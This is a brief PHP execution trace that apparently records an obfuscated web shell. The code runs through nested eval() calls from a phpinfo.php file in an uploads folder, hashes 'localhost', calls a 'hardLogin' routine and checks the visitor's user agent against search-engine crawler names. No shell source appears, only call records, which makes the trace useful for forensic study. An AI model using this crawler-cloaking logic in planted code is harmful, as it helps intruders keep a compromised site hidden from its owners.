5	53	0	0.030340	1379200	get_magic_quotes_gpc	0		/var/www/html/uploads/phpinfo.php(3) : eval()'d code(1) : eval()'d code(2) : eval()'d code	39	0
5	53	1	0.030353	1379200
5	53	R			FALSE
5	54	0	0.030368	1379200	md5	0		/var/www/html/uploads/phpinfo.php(3) : eval()'d code(1) : eval()'d code(2) : eval()'d code	50	1	'localhost'
5	54	1	0.030382	1379296
5	54	R			'421aa90e079fa326b6494f812ad13e79'
5	55	0	0.030398	1379200	hardLogin	1		/var/www/html/uploads/phpinfo.php(3) : eval()'d code(1) : eval()'d code(2) : eval()'d code	51	0
5		A						/var/www/html/uploads/phpinfo.php(3) : eval()'d code(1) : eval()'d code(2) : eval()'d code	57	$userAgents = [0 => 'Google', 1 => 'Slurp', 2 => 'MSNBot', 3 => 'ia_archiver', 4 => 'Yandex', 5 => 'Rambler']
6	56	0	0.030432	1379200	implode	0		/var/www/html/uploads/phpinfo.php(3) : eval()'d code(1) : eval()'d code(2) : eval()'d code	58	2	'|'	[0 => 'Google', 1 => 'Slurp', 2 => 'MSNBot', 3 => 'ia_archiver', 4 => 'Yandex', 5 => 'Rambler']
6	56	1	0.030454	1379344
6	56	R			'Google|Slurp|MSNBot|ia_archiver|Yandex|Rambler'
6	57	0	0.030471	1379280	preg_match	0		/var/www/html/uploads/phpinfo.php(3) : eval()'d code(1) : eval()'d code(2) : eval()'d code	58	2	'/Google|Slurp|MSNBot|ia_archiver|Yandex|Rambler/i'	'python-requests/2.25.1'
6	57	1	0.030491	1379344
6	57	R			0
			0.030535	1299424
TRACE END   [2023-02-12 23:43:40.141655]

